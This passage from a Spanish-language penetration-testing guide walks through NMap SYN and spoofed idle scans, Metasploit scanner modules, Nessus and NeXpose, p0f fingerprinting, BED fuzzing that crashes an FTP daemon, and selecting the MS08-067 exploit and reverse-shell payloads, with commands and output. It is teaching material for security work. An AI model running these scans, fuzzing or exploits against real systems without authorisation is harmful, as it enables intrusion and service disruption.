La mayoría de las banderas preferidas en NMap son –sS. Esta permite correr un escaneo TCP en modo furtivo (stealth) que determina si un puerto basado en TCP está abierto. Otra opción muy útil es la –Pn, la cual le dice a NMap que no use un ping16 para determinar si un sistema determinado está corriendo, sino que considere a todos los computadores vivos (alive, en funcionamiento). Para desarrollar una prueba de penetración por medio del internet se recomienda usar estas banderas, debido a que la mayoría de las redes no permiten ICMP para realizar un escaneo activo sobre la red, puesto que este protocolo usa ping.

El siguiente ejemplo muestra el uso de esta herramienta, con la cual realizamos un escaneo rápido (quick scan) en BackTrack Linux 5, usando las banderas antes descritas:

16

Utilidad diagnóstica en redes de computadoras que comprueba el estado de la conexión del host local con uno o varios equipos remotos de una red TCP/IP por medio del envío de paquetes ICMP de solicitud y de respuesta

61

root@bt:~# nmap -sS -Pn 172.16.32.131 Nmap scan report for 172.16.32.131 Host is up (0.00057s latency). Not shown: 990 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1433/tcp open ms-sql-s 3389/tcp open ms-term-serv Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

Como se puede ver en el análisis, NMap reporta una lista de los puertos abiertos, junto con una descripción del servicio asociado al puerto. Para obtener un mayor detalle, se puede usar la bandera –A. esta opción intentará realizar una numeración avanzada de los servicios y la captura de banner, la cual le puede dar aun mayor detalle del sistema objetivo. Por ejemplo: root@bt:~# nmap -Pn -sS -A 172.16.32.131 Nmap scan report for 172.16.32.131 Host is up (0.0035s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 777/tcp open unknown 1039/tcp open unknown 1138/tcp open msrpc Microsoft Windows RPC 1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM . . . SNIP . . . Device type: general purpose Running: Microsoft Windows XP|2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

62

Network Distance: 1 hop Service Info: OS: Windows Host script results: |_nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: , NetBIOS MAC: 00:0c:29:c9:38:4c (VMware) |_smbv2-enabled: Server doesn't support SMBv2 protocol | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | Name: WORKGROUP\V-MAC-XP

Escaneo avanzado con NMAP: TCP Idle Scan Este es un método de escaneo más avanzado, el cual permite escanear un objetivo sigilosamente por medio del spoofing o suplantación de la dirección IP (haciéndose pasar por otro computador o host que hace parte de la red atacada). Para trabajar con este tipo de exploración, primero tenemos que localizar a un host que esté inactivo en la red y que utilice identificadores incrementales de IP (IP ID, los cuales son utilizados para realizar un seguimiento en el orden de los paquetes). Cuando se descubre un sistema inactivo que utiliza identificaciones incrementales IP, debemos tener en cuenta que por su naturaleza incremental, tienen un comportamiento predecible. Por lo tanto, podemos predecir el siguiente identificador. Sin embargo, cuando hacemos spoofing sobre la dirección del host inactivo, al escuchar las respuestas de este mientras se realiza el escaneo, si observamos un una ruptura en la predicción de la secuencia de identificación de IP significa que hemos descubierto un puerto abierto. (Para obtener más información acerca de este módulo y las secuencias de identificación IP, visite http://www.metasploit.com/modules/auxiliary/ escáner/ip/ipidseq/)

63

El uso del modulo “scanner/ip/ipidseq” de Metasploit Framework para buscar un host que se ajuste a los requerimientos de un TCP idle scan, se muestra a continuación: msf > use auxiliary/scanner/ip/ipidseq msf auxiliary(ipidseq) > show options Module options: Name Current Setting Required ------------------------GWHOST no INTERFACE no LHOST no RHOSTS yes RPORT 80 yes SNAPLEN 65535 yes THREADS 1 yes TIMEOUT 500 yes

Description ----------The gateway IP address The name of the interface The local IP address The target address range or CIDR identifier The target port The number of bytes to capture The number of concurrent threads The reply read timeout in milliseconds

Esta lista muestra las opciones requeridas por el escaneo “ipidseq”. Se puede resaltar a la opción RHOSTS la cual puede tomar rangos IP (tales como 192.168.1.20-192.168.1.30); también rangos CIDR (Classless Inter-Domain Routing) (tales como 192.168.1.0/24); también múltiples rangos separados por comas (tales como 192.168.1.0/24,192.168.3.0/24); y archivos de texto con un host por línea (tal como file:/tmp/hostlist.txt). Todas estas opciones dadas nos dan una ciertas flexibilidades para un objetivo específico.

El valor THREADS configura el número de amenazas concurrentes para usar mientras se realiza la exploración. Por defectos posee el valor de 1.

64

Por ejemplo: usamos a RHOSTS a 192.168.1.0/24 y colocamos a THREADS a 50 y corremos el escaneo con el comando run msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(ipidseq) > set THREADS 50 THREADS => 50 msf auxiliary(ipidseq) > run [*] 192.168.1.1's IPID sequence class: All zeros [*] 192.168.1.10's IPID sequence class: Incremental! [*] Scanned 030 of 256 hosts (011% complete) [*] 192.168.1.116's IPID sequence class: All zeros [*] 192.168.1.109's IPID sequence class: Incremental! [*] Scanned 128 of 256 hosts (050% complete) [*] 192.168.1.154's IPID sequence class: Incremental! [*] 192.168.1.155's IPID sequence class: Incremental! [*] Scanned 155 of 256 hosts (060% complete) [*] 192.168.1.180's IPID sequence class: All zeros [*] 192.168.1.181's IPID sequence class: Incremental! [*] 192.168.1.185's IPID sequence class: All zeros [*] 192.168.1.184's IPID sequence class: Randomized [*] Scanned 232 of 256 hosts (090% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(ipidseq) >

Observamos un número potencial de hosts inactivos, los cuales podemos usar para realizar un TCP idle scan, ahora escaneamos el sistema usando la dirección IP 192.168.1.109, pero usando la bandera –sI para especificar el host inactivo, así pues tenemos: msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155 [*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155 Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental Interesting ports on 192.168.1.155: Not shown: 996 closed|filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:E4:59:7C (VMware)

65

Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds msf auxiliary(ipidseq) >

Ahora hemos descubierto un número de puertos abiertos en el host objetivo sin enviar un paquete al sistema.

Exploración de Puertos con Metasploit Además de la habilidad de realizar exploraciones de puertos con escáner de terceros, Metasploit posee varios exploradores de puertos que hacen parte de los módulos auxiliares que están directamente integrados con la mayoría de los aspectos del Framework.

Por ejemplo, supongamos que tenemos un sistema que detrás del firewall está usando NAT (Network Address Translation). Dicho sistema usa direcciones IP privadas, las cuales no pueden contactarse fácilmente desde el internet. Si se usa Metasploit para comprometer el sistema que está detrás del NAT, se podría utilizar este sistema interno comprometido para pasar el tráfico interno (pivote) al sistema basado en direcciones IP privadas y que esta internamente alojado, con el fin de penetrar en la red más allá del firewall.

Para ver la lista de las herramientas que Framework ofrece, ingrese el siguiente comando: msf > search portscan

66

Vamos a realizar un simple escaneo de un solo host utilizando un escaneo de puerto SYN que posee el Metasploit. En el siguiente listado, iniciamos la exploración con el comando use scanner/portscan/syn, establecemos RHOSTS a 192.168.1.155, configuramos THREADS a 50, y luego ejecutamos el análisis. msf > use scanner/portscan/syn msf auxiliary(syn) > set RHOSTS 192.168.1.155 RHOSTS => 192.168.1.155 msf auxiliary(syn) > set THREADS 50 THREADS => 50 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.155:135 [*] TCP OPEN 192.168.1.155:139 [*] TCP OPEN 192.168.1.155:445 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(syn) >

Del resultado podemos ver a los puertos 135, 139 y 445 abiertos, para la dirección IP 192.168.1.155.

FASE III: El modelamiento de amenazas: En esta sección se define un enfoque de modelado de amenazas según sea necesario para una correcta ejecución de las pruebas de penetración. La norma no hace uso de un modelo específico, sino que requiere que el modelo utilizado sea consistente en términos de su representación de las amenazas, sus capacidades, sus calificaciones por la organización que se está probando, y la posibilidad de aplicarlos varias veces a las pruebas en un futuro para averiguar si se obtienen los mismos resultados.

67

La norma se centra en dos elementos fundamentales de modelado de amenazas tradicionales los activos y el atacante (amenaza). Cada uno de ellos es, respectivamente, desglosados en los activos del negocio y los procesos de negocio y las comunidades de las amenazas y sus capacidades. Como mínimo, los cuatro elementos deben estar claramente identificados y documentados en cada prueba de penetración.

Al modelar la parte atacante, en la parte superior de la comunidad de la amenaza, y las capacidades (que son sobre todo técnicas). Otros aspectos de la modelización motivación también debe ser proporcionada.

Amenaza de alto nivel de modelado de procesos 1) Reúna la documentación pertinente 2) Identificar y clasificar los activos de primaria y secundaria 3) Identificar y clasificar las amenazas y las comunidades amenaza 4) Mapa de las comunidades amenaza contra los bienes primarios y secundarios Las etapas que siguen esta fase son:



Análisis de Negocios de Activos



Business Process Analysis



Agentes de amenaza / Análisis de la Comunidad



Capacidad de análisis de amenazas

68



Modelado de la motivación



Encontrar noticias relevantes de otras organizaciones similares sean comprometidos

FASE IV: Análisis de Vulnerabilidades: Las pruebas de vulnerabilidad es el proceso de descubrimiento de fallas en los sistemas y aplicaciones que pueden ser aprovechadas por un atacante. Estos defectos pueden variar desde el host y errores de configuración de servicios, o el diseño de aplicaciones inseguras. Aunque el proceso utilizado para buscar defectos varía, y depende en gran medida del componente en particular puesto a prueba, algunos principios fundamentales se aplican en el proceso.

Al llevar a cabo análisis de vulnerabilidad de cualquier tipo el pen-tester aplicar las herramientas adecuadas con profundidad y un alcance amplio, para así lograr los resultados deseados. Los valores de profundidad pueden incluir cosas tales como la ubicación de una herramienta de evaluación, los requisitos de autenticación, etc. Además de la profundidad, la amplitud también debe tenerse en cuenta cuando se realizan las pruebas de vulnerabilidad. Los valores de amplitud puede incluir cosas tales como las redes de destino, segmentos, los servidores, los inventarios de aplicación, etc., en su elemento más simple, la prueba se puede encontrar todas las vulnerabilidades en un sistema host, mientras que en otros casos puede que tenga que encontrar todos los vulnerabilidades en los servidores con un inventario determinado o limitado. Además la amplitud de las pruebas siempre debe ser validada para asegurar que han cumplido con su ámbito de aplicación de pruebas 69

Los modos de realizar los análisis de vulnerabilidades son:



Activo



Pasivo



De validación



De investigación

Búsqueda Básica de Vulnerabilidades Veamos como un escaneo trabaja en sus niveles más básicos. En el siguiente listado usamos netcat para capturar un banner (grab banner) de la dirección objetivo 192.168.1.203. La captura de banner (Banner Grabbing) es el acto de conectarse a un servicio de red remoto con el fin de leer la identificación del servicio (banner) que este retorna. Muchos servicios de red como los web, los de transferencia de archivos y los servidores de correo devuelven su banner ya sea inmediatamente después de conectar con ellos o en respuesta a un comando específico. En el siguiente ejemplo nos conectamos a un servidor web por el puerto 80 TCP y realizamos una petición GET HTTP que nos permite ver la información de encabezado que devuelve el servidor remoto, en respuesta a nuestra solicitud. root@bt:/opt/framework3/msf3# nc 192.168.1.203 80 GET HTTP 1/1 HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1

70

La información devuelta nos dice que el sistema que se ejecuta en el puerto 80 es un servidor web basado en Microsoft IIS 5.1. Armado con esta información, podemos utilizar un escáner de vulnerabilidades, para determinar si esta versión de IIS tiene las vulnerabilidades asociadas a él, y si este servidor en particular ha sido parcheado.

Por supuesto, en la práctica, no es tan sencillo. La exploración de Vulnerabilidad a menudo contiene muchos falsos positivos (vulnerabilidad reportada donde no existe) y falsos negativos (falla en los registros en donde existe una vulnerabilidad) debido a las diferencias sutiles en el sistema y las configuraciones de aplicaciones. Además, los creadores de los escáneres de vulnerabilidad tienen un incentivo para reportar resultados positivos. Los escáneres de vulnerabilidades son tan buenos como su base de datos de vulnerabilidades, y que fácilmente pueden ser engañados por banners o configuraciones incompatibles.

Ejecutando NeXpose desde MSFconsole (consola de Metasploit – msf >) NeXpose es un escáner de vulnerabilidades que se puede trabajar desde la consola de comandos (msf >) o desde una interface gráfica de usuario (GUI). Elegimos trabajar desde la consola. Pero primero debemos eliminar cualquier base de datos existente con db_destroy, crear una nueva base de datos en Metasploit con db_connect, a continuación, cargar el NeXpose plug-in con load nexpose como se muestra a continuación:

71

msf > db_destroy postgres:[email protected]/msf3 [*] Warning: You will need to enter the password at the prompts below Password: msf > db_connect postgres:[email protected]/msf3

msf > load nexpose [*] NeXpose integration has been activated [*] Successfully loaded plugin: nexpose

Antes de comenzar su primera exploración con msfconsole, tendremos que conectar la instalación de NeXpose. Introduzca nexpose_connect-h para mostrar el uso requerido para conectar, agregue su nombre de usuario, contraseña y dirección de la máquina, y acepte la advertencia de certificado SSL mediante la adición de ok hasta el final de la cadena de conexión: msf > nexpose_connect -h [*] Usage: [*] nexpose_connect username:password@host[:port] [*] -OR[*] nexpose_connect username password host port msf > nexpose_connect dookie:[email protected] ok [*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie...

A continuación, introduzca nexpose_scan seguido de la dirección IP de destino para iniciar una exploración, como se muestra a continuación. En este ejemplo, se está escaneando una sola dirección IP, pero también puede pasarse un rango de hosts para explorar (192.168.1.1254) o una subred usando Classless Inter-Domain Routing (CIDR) (192.168.1.0/24). msf > nexpose_scan 192.168.1.195 [*] Scanning 1 addresses with template pentest-audit in sets of 32 [*] Completed the scan of 1 addresses msf >

72

Una vez finalizada la exploración con NeXpose, la base de datos que creó anteriormente debe contener los resultados de la exploración de vulnerabilidades. Para ver los resultados, ingrese db_hosts, como se muestra a continuación. (En este ejemplo, la salida ha sido recortada por el filtrado de la columna de dirección.) msf > db_hosts -c address Hosts ===== address Svcs Vulns -------------192.168.1.195 8 7 msf >

Workspace --------default

Como puede ver, NeXpose ha descubierto siete vulnerabilidades. Ejecute db_vulns para mostrar las vulnerabilidades encontradas: msf > db_vulns

Escaneando con Nessus El escáner de vulnerabilidades Nessus de Tenable Security (http://www.tenable. com /) es uno de los escáneres de vulnerabilidades más utilizadas. El plug-in Nessus de Metasploit le permite poner en marcha exploraciones a través de la consola para extraer información de estas.

Después de haber descargado e instalado Nessus, abra su navegador web y vaya a https://: 8834, acepte la advertencia de certificado, e iniciar sesión en Nessus utilizando las credenciales que ha creado durante el proceso de instalación. 73

Posteriormente debe proporcionarle al programa el código de activación que se le suministra mediante correo electrónico al momento de descargar el programa de la página web del autor. Luego usted debería ver la ventana principal de Nessus, como se muestra en la Figura 1.

Figura 1. Ventana Principal de Nessus El inicio de sesión, podrás ver la sección de Reportes, donde los análisis de vulnerabilidad anteriores deben ser mencionados. A lo largo de la parte superior de la interfaz, usted debe ver la ficha Análisis, donde se puede crear y ver las tareas de escaneo, la ficha Políticas, donde se configuran Nessus para incluir diversos plug-ins que desea utilizar en sus exploraciones, y en la pestaña Usuarios, donde usted puede agregar cuentas de usuario en el servidor de Nessus.

Antes de comenzar un análisis, primero tiene que crear una política de exploración. En la ficha Políticas, haga clic en el botón verde Agregar para abrir la ventana de configuración de la política como se muestra en la figura 2.

74

Figura 2. Ventana de configuración de políticas Aquí verá muchas opciones disponibles, todas las cuales se pueden encontrar en la documentación de Nessus.

i.

Escriba un nombre para la exploración, como se muestra en la Figura 3. Vamos a utilizar el nombre de The_Works en nuestro ejemplo para que Nessus ejecute todos sus chequeos. haga clic en Siguiente.

ii.

Vamos a configurar a Nessus para que realice las exploraciones a utilizando las credenciales de Windows de inicio de sesión para obtener una imagen más completa de las vulnerabilidades presentes en el sistema evaluado. Escriba las credenciales de inicio de sesión para el sistema objetivo y haga clic en Siguiente.

75

Figura 3. Configuración general.

iii.

En la página de plug-ins, se puede elegir entre una gran variedad de plug-ins de Nessus para Windows, Linux, BSD, y mucho más. Si, durante un análisis, usted sabe que se va a analizar sólo los sistemas basados en Windows, por ejemplo, se puede anular la selección de muchos de estos plug-ins para su primer recorrido, por ahora, haga clic en Activar todo (se muestra en la esquina inferior derecha de la figura 4) y luego haga clic en Siguiente.

76

Figura 4. Seleccionando los plug-ins para el escaneo

iv.

El último paso en la creación de la nueva política es la página de preferencias. Aquí usted puede configurar a Nessus para que no analice los dispositivos frágiles, tales como las impresoras de red, para que almacenar los resultados en una base de datos externa, para que proporcione las credenciales de inicio de sesión, y mucho más. Cuando haya terminado con sus selecciones, haga clic en Enviar para guardar la nueva política. La nueva política que acaba de agregar, se debe mostrar en la lista de políticas, como se muestra en la Figura 5.

Figura 5. Las nuevas políticas añadidas a Nessus

77

Después de haber creado las políticas de exploración, Nessus está listo para realizar un análisis. Comience por seleccionar la ficha Análisis, y luego haga clic en el botón Agregar para abrir la ventana de configuración de escaneo. La mayor parte de configuración de Nessus se encuentra en sus políticas de análisis, así que cuando usted está configurando una exploración, escriba un nombre para el análisis, elegir una política, e ingrese los objetivos para análisis, como se muestra en la Figura 6.

Figura 6. Configurando un escaneo en Nessus

En nuestro ejemplo, exploraremos a un solo host, pero tenga en cuenta que también se pueden ingresa rangos de direcciones IP en notación CIDR o incluso cargar un archivo que contiene las direcciones de los objetivos que desea analizar. Cuando esté satisfecho con la configuración de escaneo, haga clic en Iniciar exploración.

78

Después de que se complete la exploración, se debe encontrar una nueva entrada en la pestaña Informes, indicando el nombre de la exploración, el estado, y cuando se actualizó por última vez. Seleccione el informe y haga clic en Examinar para abrir una página de resumen del análisis que muestra los niveles de gravedad de las vulnerabilidades encontradas, como se muestra en la Figura 7.

Figura 7. Resumen del reporte del escaneo y puertos encontrados

OS Fingerprinting (Huella digital de los sistemas operativos) Después saber que el equipo de destino está activo, podemos recopilar información del sistema operativo utilizado por el equipo objetivo. Este método se conoce comúnmente como huella digital del Sistema Operativo (OS Fingerprint). Hay dos métodos para hacer OS fingerprinting: activa y pasiva.

79

En el método activo, la herramienta envía paquetes de red a la máquina de destino y, a continuación determina el sistema operativo del equipo de destino basado en el análisis realizado de la respuesta que recibió. La ventaja de este método es que el proceso es rápido. Sin embargo, la desventaja es que el equipo de destino puede notar nuestra presencia al tratar de obtener la información del sistema operativo.

Existe un método pasivo para hallar las huellas digitales (fingerprints) de un sistema operativo. Este método fue iniciado por Michal Zalewsky cuando lanzó una herramienta llamada p0f. La desventaja del método pasivo es que el proceso va a ser más lento en comparación con el método activo.

Herramienta p0f La herramienta p0f es utilizada para obtener la huella digital de un sistema operativo de forma pasiva. Se puede identificar un sistema operativo en: •

Las máquinas que se conectan a la caja (modo SYN, este es el modo por defecto)



Las máquinas que se conectan a (modo SYN + ACK)



La máquina no se puede conectar a (modo RST +)



Las máquinas cuyas comunicaciones se puede observar

Funciona mediante el análisis de los paquetes TCP enviados durante las actividades que realiza red, tales como conexiones entrantes y conexiones de salientes. Este proceso es completamente pasivo, por lo que no generará ningún tráfico de red.

80

Para acceder a p0f, vamos al menú de Backtrack | Mapeo de la Red | OS-Fingerprints dactilares | P0f o puede abrir una consola y escribir “p0f -h”. lo que mostrará las ayudas y la descripción de las opciones. Tomando la segunda opción tenemos: #p0f -o p0f.log

Esto guardará la información de registro en el archivo p0f.log. A continuación, se mostrará la siguiente información: p0f - passive os fingerprinting utility, version 2.0.8 (C) M. Zalewski , W. Stearns p0f: listening (SYN) on 'eth0', 262 sigs (14 generic, cksum 0F1F5CA2), rule: 'all'.

Observamos que p0f está escuchando por la NIC eth0 en modo SYN. Luego necesita generar actividades de red relacionadas con conexiones TCP, como por ejemplo navegar en la máquina remota o dejar que la máquina remota se conecte a su máquina.

Si p0f ha capturado con éxito las huellas digitales del sistema operativo de la máquina remota, podrá observar cual es el sistema operativo de la máquina remota en el archivo de registro (p0f.log). Usted puede abrir este archivo de registros usando el editor de texto “kate”

81

Figura 8. Log mostrado en el editor de texto “kate” Con base en el resultado anterior, sabemos que la máquina remota es una máquina Linux 2.6. Esta es la huella correcta, ya que el equipo remoto se instala con openSUSE 11.x. Usted puede salir de p0f pulsando la combinación Ctrl + C.

Análisis Fuzzy El análisis Fuzzy es un software especialmente de pruebas utilizado por los auditores y por los desarrolladores para probar sus aplicaciones contra un conjunto de datos de entrada inesperados, no válidos y aleatorios. La reacción de las aplicaciones se verá en términos de excepciones o colisiones. Esta actividad revela algunas de las principales vulnerabilidades en el software, que de otro modo no son posibles de descubrir. Estos incluyen desbordamientos de búfer, cadenas de formato, las inyecciones de código, los punteros colgantes, las condiciones de prueba, condiciones de denegación de servicio, y muchos otros tipos de vulnerabilidades. Hay diferentes clases de fuzzers disponibles en BackTrack 5 que se pueden utilizar para poner a prueba los formatos de archivo, protocolos red, entradas de línea de comandos, variables de entorno y aplicaciones web. Cualquier fuente de datos de entrada no confiables se le

82

considera inseguro e inconsistente. Por ejemplo, un límite de confianza entre la aplicación y el usuario de Internet es impredecible. Por lo tanto, todas las entradas de datos deben ser revisados con fuzzy para así verificar las vulnerabilidades conocidas y desconocidas. El análisis Fuzzy es una solución relativamente simple y eficaz que se puede incorporar en un proceso de pruebas de seguridad y garantía de calidad. Por esta razón, también se conoce a veces como prueba de robustez o pruebas negativas.

BED (Bruteforce Exploit Detector) El Detector de Vulnerabilidades de fuerza bruta (BED) es una potente herramienta diseñada para el fuzzing en los protocolos texto plano, para contrarestar posibles desbordamientos de búfer, errores de formato de cadena, desbordamientos de datos enteros, condiciones DoS, y así sucesivamente. Automáticamente comprueba la implementación de un protocolo elegido mediante el envío de una combinación diferente de comandos con cadenas problemáticas para confundir al objetivo. Los protocolos soportados por esta herramienta son FTP, SMTP, POP, HTTP, IRC, IMAP, PJL, LPD, FINGER, SOCKS4, y SOCKS5.

Para usar BED escribimos en la línea de comando lo siguiente: # cd /pentest/fuzzers/bed/ # ./bed.pl

83

Las instrucciones de uso ahora aparecerán en la pantalla. Es muy importante anotar que una las descripciones de un plug-in específico se pueden mostrar por el siguiente comando: # ./bed.pl –s FTP

Con el ejemplo anterior, podemos aprender a usar los parámetros requeridos por un plugin, en este caso el del FTP, antes de la ejecución de una prueba. Estos incluyen el nombre de usuario FTP –u username y

contraseña –v password. A continuación realizamos a

modo de ejemplo un ataque a un servidor FTP: # ./bed.pl -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3

El resultado sera: BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de) + Buffer overflow testing: testing: 1 USER XAXAX ........... testing: 2 USER ftpuserPASS XAXAX ........... + Formatstring testing: testing: 1 USER XAXAX ....... testing: 2 USER ftpuserPASS XAXAX ....... * Normal tests + Buffer overflow testing: testing: 1 ACCT XAXAX ........... testing: 2 APPE XAXAX ........... testing: 3 ALLO XAXAX ........... testing: 4 CWD XAXAX ........... testing: 5 CEL XAXAX ........... testing: 6 DELE XAXAX ........... testing: 7 HELP XAXAX ........... testing: 8 MDTM XAXAX ........... testing: 9 MLST XAXAX ........... testing: 10 MODE XAXAX ........... testing: 11 MKD XAXAX ........... testing: 12 MKD XAXAXCWD XAXAX ........... testing: 13 MKD XAXAXDELE XAXAX ........... testing: 14 MKD XAXAXRMD XAXAX ..... connection attempt failed: No route to host

84

Por el reporte podemos anticipar que el demonio FTP remoto se ha interrumpido durante la prueba 14. Esto podría ser una clara indicación de error de desbordamiento de buffer, sin embargo, el problema mayor puede ser investigado observando el plug-in o complemento específico y localizando el patrón del caso en prueba (por ejemplo, pentest/fuzzers/bed/ bedmod/ ftp.pm). Siempre es una buena idea para poner a prueba su objetivo al menos dos o más veces resteándolo a su estado normal, aumentando el valor de tiempo de espera (-o) y comprobar si el problema es reproducible.

FASE V: Explotación de las vulnerabilidades: La fase de explotación de una prueba de penetración se centra exclusivamente en el establecimiento de un sistema de acceso a los recursos o saltarse las restricciones de seguridad. Si la fase previa, análisis de vulnerabilidad se ha realizado correctamente, esta fase debe estar bien planificada y el ataque debe ser preciso. El objetivo principal es identificar el punto de entrada principal en la organización y para identificar los activos de alto valor objetivo. Esta fase tiene como objeto realizar:



Contramedidas



Evasión



Simulación de un ataque con precisión



Camino de explotación Personalizado de una vulnerabilidad



Explotacion de una vulnerabilidad a la medida 85



ángulo de día cero

Conceptos básicos de explotación de vulnerabilidades El Metasploit Framework contiene cientos de módulos, y es casi imposible recordarlos todos. Si ejecutamos el comando show desde el msfconsole mostrará todos los módulos disponibles en el Framework, pero también se puede limitar la búsqueda para mostrar sólo determinados tipos de módulos como se explica a continuación.

msf> show Exploits Dentro de msfconsole, los exploits atacan las vulnerabilidades que se han descubierto durante una prueba de penetración. Las nuevas vulnerabilidades siempre se están desarrollando, y la lista seguirá creciendo. Este comando mostrará todos los Exploits disponible actualmente en el Framework.

msf> show auxiliares Los Módulos auxiliares en Metasploit puede ser utilizado para una amplia variedad de propósitos. Pueden funcionar como escáneres, módulos de denegación de servicio (DoS), fuzzers, y mucho más. Este comando va a mostrar y enumerar sus características.

86

msf> show options Aquí se muestran las Opciones de control de varios parámetros necesarios para el correcto funcionamiento de los módulos del Framework. Cuando se ejecuta el comando show options mientras se selecciona un módulo, Metasploit sólo mostrará las opciones que se aplican a ese módulo en particular. Introducción de msf> show options cuando no esté ejecutado un módulo, mostrará las opciones disponibles, por ejemplo, se pueden configurar los LogLevel para hacer más detallado el desarrollo del ataque. También puede ejecutar el comando back para regresar al símbolo de la consola msf>. Por ejemplo: msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > back msf >

El comando search es útil para encontrar un ataque específico, un módulo de auxiliar, o un payload. Por ejemplo, si quieres lanzar un ataque contra el SQL Server, puede realizar una búsqueda para SQL como esta: msf > search mssql [*] Searching loaded modules for pattern 'mssql'... Auxiliary ========= Name Disclosure Date Rank -----------------------admin/mssql/mssql_enum normal admin/mssql/mssql_exec

normal

admin/mssql/mssql_idf

normal

admin/mssql/mssql_sql scanner/mssql/mssql_login scanner/mssql/mssql_ping Exploits

normal normal normal

87

Description ------------Microsoft SQL Server Configuration Enumerator Microsoft SQL Server xp_cmdshell Command Execution Microsoft SQL Server - Interesting Data Finder Microsoft SQL Server Generic Query MSSQL Login Utility MSSQL Ping Utility

. . . SNIP . . . msf >

O bien, para encontrar el exploit MS08-067 en concreto (un exploit relacionado con el famoso gusano Conficker que se aprovechaba de una debilidad dentro de la llamada a procedimiento remoto [RPC] de servicio), tiene que escribir el siguiente comando: msf > search ms08_067 [*] Searching loaded modules for pattern 'ms08_067'... Exploits ======== Name Rank Description ----------------windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

Entonces, habiendo encontrado un exploit en (windows/smb/ms08_067_netapi), podría cargar el módulo encontrado con el comando de uso, así: msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

Tenga en cuenta que cuando se ejecute el comando use windows/smb/ms08_067_netapi, el msf cambia el prompt de la siguiente manera: msf exploit(ms08_067_netapi)

Esto indica que hemos seleccionado el módulo ms08_067_netapi y que las órdenes emitidas en este sistema se llevarán a cabo en bajo este exploit. Ahora, con nuestro módulo cargado en el prompt, podemos ingresar el comando show options para mostrar las opciones específicas para el exploit MS08-067:

88

msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required ------------------------RHOST yes RPORT 445 yes SMBPIPE BROWSER yes

Description ----------The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC)

Exploit target: Id Name ----0 Automatic Targeting msf exploit(ms08_067_netapi) >

Este enfoque contextual de opciones de acceso mantiene la interfaz más simple y le permite centrarse sólo en las opciones que importa en este momento.

msf> show Payloads Un payload es el código que queremos ejecutar en el sistema remoto y que se va a seleccionar y entregar por medio del Metasploit Framework. Por ejemplo, un reverse shell (o Shell inverso) es un payload que crea una conexión desde el equipo remoto bajo ataque hacia el equipo atacante, el cual permite abrir una shell o línea de comando (C:> o root@user:~#) para la manipulación de la maquina remota (por ejemplo, el símbolo del sistema de Windows) Por otro lado, un bind shell es un payload que "enlaza" a un símbolo del sistema por medio de un puerto de escucha en la máquina destino, y en donde el atacante puede conectarse a esta. Al igual que con el comando show options podemos ejecutar el comando show payloads para que Metasploit muestra sólo los payloads que son compatibles con ese módulo. En el

89

caso de los exploit basados en Microsoft Windows, estos payloads pueden ser tan simples como un símbolo del sistema C:> o root@user:~#) en el destino o tan complejo como una interfaz gráfica completa en la máquina objetivo. Para ver una lista activa de cargas útiles, ejecute el comando siguiente: msf> show payloads

Esto le mostrará todas los payloads útiles disponibles en Metasploit, sin embargo, si se está con un exploit activo, verá sólo los payloads que se aplica a este ataque. Por ejemplo, al ejecutar show payloads desde la línea de comando msf exploit (ms08_067_netapi) daría lugar a la salida que se muestra a continuación.

En el ejemplo anterior hemos buscado el módulo MS08-067. Ahora vamos a averiguar los payloads para este módulo mediante la introducción del comando show payloads. Observe en este ejemplo que los Payloads que se muestran sólo son los que están basado en Windows. Metasploit generalmente identifica el tipo de payloads que pueden ser utilizados en un ataque en particular. msf exploit(ms08_067_netapi) > show payloads Compatible Payloads =================== Name Rank ------. . . SNIP . . . windows/shell/reverse_ipv6_tcp normal windows/shell/reverse_nonx_tcp

normal

windows/shell/reverse_ord_tcp

normal

90

Description ----------Windows Command Shell, Reverse TCP Stager (IPv6) Windows Command Shell, Reverse TCP Stager (No NX or Win7) Windows Command Shell, Reverse

Ordinal TCP Stager (No NX or Win7) windows/shell/reverse_tcp

normal

windows/shell/reverse_tcp_allports

normal

windows/shell_bind_tcp

normal

windows/shell_reverse_tcp

normal

Windows Command Shell, Reverse TCP Stager Windows Command Shell, Reverse All-Port TCP Stager Windows Command Shell, Bind TCP Inline Windows Command Shell, Reverse TCP Inline

